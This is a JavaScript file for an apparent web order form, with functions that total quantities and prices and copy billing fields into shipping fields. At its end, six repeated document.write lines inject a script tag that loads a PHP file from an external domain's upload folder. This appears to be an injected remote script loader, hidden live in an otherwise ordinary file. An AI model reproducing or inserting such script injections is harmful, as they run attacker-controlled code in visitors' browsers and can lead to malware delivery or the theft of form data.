function calculate()
{
	var total = 0;
	for (i = 1;i<=10; i++)
	{
//		try	{
			var q = parseFloat(document.getElementById("Quantity"+i).value);
			var p = parseFloat(document.getElementById("UnitPrice"+i).value.replace("$", ""));
			var c = q*p;
			if (!isNaN(c))
			{
				total += c;
				document.getElementById("Cost"+i).value = "$"+c;
			} // if
			else
				document.getElementById("Cost"+i).value = "";
/*		} // try
		catch (e)	{
		} // catch*/
		document.getElementById("SubTotal").value = "$"+total;
		var tax = parseFloat(document.getElementById("Tax").value.replace("$", ""));
		var shi = parseFloat(document.getElementById("ShippingAmount").value.replace("$", ""));
		document.getElementById("TotalAmount").value = "$"+(total+(isNaN(tax)?0:tax)+(isNaN(shi)?0:shi));
	} // for
}
function cp(n1, n2)
{
	document.getElementById(n2).value = document.getElementById(n1).value;
}
function copyFields()
{
	cp("sold_companyname","ship_companyname");
	cp("sold_buyersname","ship_contact");
	cp("sold_address","ship_address");
	cp("sold_city","ship_city");
	cp("sold_state","ship_state");
	cp("sold_zip","ship_zip");
	cp("sold_phone","ship_phone");
}
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');